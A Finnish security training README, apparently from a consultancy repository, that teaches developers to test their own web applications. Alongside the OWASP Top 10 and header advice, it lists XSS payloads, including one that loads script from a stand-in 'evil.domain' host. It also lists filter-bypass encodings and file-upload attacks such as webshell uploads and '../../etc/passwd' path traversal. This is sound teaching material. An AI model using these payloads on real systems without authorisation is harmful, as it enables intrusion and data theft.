solita / kyberoppi

Verkkosovelluksen tietoturvan varmistaminen. Tukimateriaali ohjelmistoalan ammattilaisille.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Kyber, lyhyt oppimäärä

Tästä materiaalipankista saat perustietoa verkkosovelluksen tietoturvasta ja sen testaamisesta. Materiaali on valikoitu ja tiivistetty palvelemaan ensisijaisesti ohjelmistokehittäjiä, jotka haluavat tehdä turvallisia järjestelmiä. Materiaalin tarkoitus on tukea omatoimista penetraatiotestausta järjestelmän laadunvarmistuksessa ja tietoturvallisuuden testaamisessa.

HUOM: Muista että tietomurron yrittäminenkin on rangaistava teko! Älä tee luvatonta tietoturvatestausta muiden järjestelmille.

Perusasiat web-sovellusten tietoturvasta

Perustiedot ja työkalujen peruskäyttöä koskeva materiaali on koottu erilliseen dokumenttiin: Perusasiat.

Työkalut

Työkaluista on erillinen dokumentti: Työkalut

Materiaalia muualla

Ohjelmistosuunnittelijoille on runsaasti materiaalia verkossa turvallisen ohjelmiston suunnittelusta ja toteuttamisesta. Kaikkia hyödyllisiä resursseja ei kannata yrittää listata, mutta tässä on linkkejä joihinkin hyödyllisiin materiaaleihin:

Referenssimateriaali

Referenssimateriaali tiivistetyssä muodossa tulostamista varten: Kybertestauksen cheatsheet

OWASP Top 10 (2017)

OWASP Top 10 on lista yleisimmistä verkkosovellusten tietoturva-aukoista. OWASP-sivustolta löytyy lisätietoa aukkojen hyväksikäytöstä hyökkäyksestä ja oikeaoppisesta suojautumisesta sovelluskehittäjille.

  • A1 - Injection
  • A2 - Broken Authentication
  • A3 - Sensitive Data Exposure
  • A4 - XML External Entities (XXE)
  • A5 - Broken Access Control
  • A6 - Security Misconfiguration
  • A7 - Cross-Site Scripting (XSS)
  • A8 - Insecure Deserialization
  • A9 - Using Components with Known Vulnerabilities
  • A10 - Insufficient Logging & Monitoring

Autentikoinnin tarkastuslista

  • Onko tunniste satunnainen, siten että sitä ei voi arvata tai päätellä?
  • Voiko tunnistetta ohjata hyökkääjän haltuun jotenkin? (HttpOnly ja secure -flagit?)
  • Voiko käyttäjän puolesta tehdä pyyntöjä sovellukseen? (CSRF-esto käytössä?)
  • Voiko sovelluksen tarkastusta käyttäjätunnuksesta/salasanasta manipuloida?

Same-origin policy

Kts. Wikipedian artikkeli

URL Lopputulos Syy
http://www.example.com/dir/page2.html Ok Sama protokolla, host ja portti
http://www.example.com/dir2/other.html Ok Sama protokolla, host ja portti
http://username:password@www.example.com/dir2/other.html Ok Sama protokolla, host ja port
http://www.example.com:81/dir/other.html Epäonnistuu Sama protokolla, host, mutta eri portti
https://www.example.com/dir/other.html Epäonnistuu Eri protokolla
http://en.example.com/dir/other.html Epäonnistuu Eri host
http://example.com/dir/other.html Epäonnistuu Eri host (vaaditaan tarkka vastaavuus)
http://v2.www.example.com/dir/other.html Epäonnistuu Eri host (vaaditaan tarkka vastaavuus)
http://www.example.com:80/dir/other.html Epäselvä Portti määritelty. Riippuu selaimesta.

File upload

Käyttäjältä saatu tiedosto voi sisältää haittaohjelman tai viruksen, tekijänoikeuksia tai muita lakeja loukkaavaa materiaalia ja lisäksi toiminnallisuutena on vaikea suojata tiedostojen käsittelyä täysin oikein. Ison tiedoston lähettäminen voi kaataa sovelluspalvelimen.

  • Onnistuuko ajettavan skriptin upload? (WebShell-backdoor.php)
  • filename attribuutin manipulointi (*, ?, ;, ../../etc/passwd yms)
  • null byte (0x00) käyttö esim. filename-kentän suojauksen ohittamiseen
  • virus.exe.jpg vs. virus.jpg vs. virus.exe
  • x.php -> test.jpg/x.php
  • Ajettavaa koodia formaatin kautta (SVG, DOC, Excel, XML)
  • Content-type attribuutin manipulointi
  • Purettavan ZIP, TAR, GZ yms. sisällä sopiva polku, esim. ../../backdoor.php
  • PDF on myös ZIP ja paljon muuta.
  • imagemagick tai muun taustaohjelman hyväksikäyttö
  • CSV avattuna Excel-ohjelmassa on vaarallinen.

Lisätietoa:

HTTP headerit

Header Mikä se on? Selaintuki Suositeltava arvo, miksi? Muuta?
X-Content-Type-Options: nosniff Estää selainta arvaamasta uudelleen MIME-typeä. Chrome, IE8 kokoelma-hederi. http://stackoverflow.com/questions/18337630/what-is-x-content-type-options-nosniff
Content-Type MIME-type.
Content-Disposition Liitetiedostojen erottamiseen sisällöstä, joka näytetään selaimessa. Tiedostonimen kanssa on oltava tarkkana.
X-Frame-Options:SAMEORIGIN Estää sovelluksen avaamisen frameen mielivaltaisesta domainista. SAMEORIGIN, ellei ole erityistä syytä sallia iframeja kaikkialta, estetään ne. http://en.wikipedia.org/wiki/Clickjacking
Cookie + secure Salaa cookien. Toimii vain jos on HTTPS https://www.owasp.org/index.php/SecureFlag
cookie + HTTP Only Cookien käsittely javascriptilla estetty. https://www.owasp.org/index.php/HttpOnly
Same-Site CSRF-esto Chrome, Opera lax (strict jossain tapauksissa) https://www.owasp.org/index.php/SameSite
Strict-Transport-Security Ohjeistaa selainta käyttämään aina HTTPS:ää. Ignoroidaan HTTP:tä käytettäessä. Muut kuin IE http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
Cache-Control IE:n kanssa monenlaisia ongelmia luvassa. Voi toimia myös eri tavalla HTTPS-protokollassa.
X-XSS-Protection Ehdottaa selaimelle, että sisällössä voi olla potentiaalisesti XSS sisältöä. IE, Chrome, Safari 1 (jos sivulla näytetään käyttäjän sisältöä), selain voi tämän perusteella käynnistää XSS filtterinsä. OWASP-ZAP antaa low-tason varoituksen tämän puuttumisesta.
X-Forwarded-For Reverse proxy asettaa tämän. Tätä ei pitäisi hyväksyä käyttäjän selaimelta, koska se voi aiheuttaa ongelmia. Vastaava myös x-forwarded-host
Content-Security-Policy Voi asettaa rajoituksia sille mitä sisältöä selain voi ladata. Katso https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
Access-Control-Allow-Origin Mahdollistaa same-origin policyn kiertämisen (CORS) * poistaa rajoituksen kokonaan, ei hyvä idea.
Upgrade-Insecure-Requests Käytetään HTTPS-protokollaa HTTP:n sijaan automaattisesti. muut paitsi IE 1 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Upgrade-Insecure-Requests

Yksityiskohtia selainten tarjoamasta tuesta: Can I Use?

Enkoodaukset

Eri tilanteissa web-sovellukset enkoodaavat sisältöä eri tavoilla. Erilaisten suodattimien ja tarkistusten ohittaminen edellyttää joskus erilaisten enkoodausten hyväksikäyttöä. Tässä on yhteenveto ja esimerkkejä.

  • normaali: alert(1)
  • Javascript, Octal: \141\154\145\162\164\50\61\51
  • HTML, hex: alert(1)
  • HTML, decimal: alert(1)
  • Javascript,HEX: \x61\x6c\x65\x72\x74\x28\x31\x29
  • Javascript, unicode \u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029
  • Javascript, Unicode \u{0061}\u{006c}\u{0065}\u{0072}\u{0074}\u{0028}\u{0031}\u{0029}
  • URL: %61%6c%65%72%74%28%31%29
  • Base64

Javascript, puolipiste-enkoodauksen ohitus

Myös tämä on sallittu tapa enkoodata asioita joskus.

&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041

Lisätietoa:

Javascriptin ajaminen

Javascriptin ujuttamiseen ajoon on useita eri tapoja jos sovelluksessa on huolimattomuuden takia jonkinlainen XSS-aukko tai muu ongelma. Tässä on listattu joitakin:

  • <svg/onload=alert(1)> SVG-kuvaformaatin hyväksikäyttö + event handler.
  • <script>alert(1)</script>
  • <script src="http://evil.domain/hak.js"/>
  • Viallinen HTML, esim. <scr<script>ipt>alert('XSS')</scr<script>ipt>
  • <img src="lol.jpg" onError=alert(1)>
  • onLoad, onChange yms. vastaavasti
  • <img src=x onerror=alert('XSS')// - kommentin hyväksikäyttö
  • <img src=x:alert(alt) onerror=eval(src) alt=xss>
  • <svg/onload=alert(1)> SVG-kuvaformaatin hyväksikäyttö + event handler.
  • <svg id=alert(1) onload=eval(id)>
  • <input autofocus onfocus=alert(1)>
  • <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  • XML-dokumentin sisällä (CDATA ja muita keinoja)
  • SVG-kuvan käyttö alustana (CDATA + script)
  • JSON-rakenteen sisällä
  • lainausmerkit voi jättää pois tai korvata heittomerkillä. Jossain tilanteissa myös käänteisellä heittomerkillä.

Lisätietoa:

Erikoiset URL:t

Selaimet tunnistavat useita URL-osoitteita, jotka eivät ole normaaleja verkko-osoitteita ja niitä voidaan hyötykäyttää. Riippuu selaimen ja tietokoneen asetuksista mitä kaikkea voidaan tehdä, mutta tässä on joitakin esimerkkejä.

  • data:text/html - esimerkiksi data:text/html,<script>alert(1)</script>
  • javascript:alert(1)
  • Base64-enkoodauksen hyväksikäyttö: data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
  • mailto: -sähköpostin lähetys
  • callto: -puhelinsoitto (esimerkiksi maksulliseen numeroon)
  • tel: - puhelinsoitto (esimerkiksi maksulliseen numeroon)
  • file:// - tiedostojärjestelmä paikallisen koneen levyllä

Data-tyyppistä "verkko-osoitetta" voidaan käyttää myös dynaamisesti kuvien tai äänen muodostamiseen verkkosivulla jos HTML-koodissa osoitetaan datasisältö sen avulla.

Lisätietoa:

Parametrien käsittelyn rikkominen

Parametrien käsittelyssä tehdyt ohjelmointivirheet ovat yleinen tapa hyödyntää sovelluksen virhettä. Tässä on esimerkkejä asioista joita voit kokeilla.

  • Parametrin jättäminen pois
  • Arvon korvaaminen (jonkun muun id, -1, tms..)
  • Saman parametrin toistaminen useita kertoja eri arvoilla, HTTP Parameter Pollution
  • Erikoisarvot: null, nil, NaN, lukualueiden ääriarvot
  • Erikoismerkit: ', % ja muut
  • Arvojen lisääminen pyynnön mukana. Hyväksyykö sovellus myös ylimääräisiä kenttiä?
  • Ylipitkän arvon käyttö.
  • välilyöntien käyttö alussa tai lopussa

Piilotetut elementit käyttöliittymässä

  • form elementin hidden-kentät.
  • CSS-tyylien kautta piilotetut
  • Position avulla piilotus

Lisenssi

lisenssi

Creative Commons, Attribution-NonCommercial CC BY-NC Kts. LISENSSI.

About

Verkkosovelluksen tietoturvan varmistaminen. Tukimateriaali ohjelmistoalan ammattilaisille.

License:Other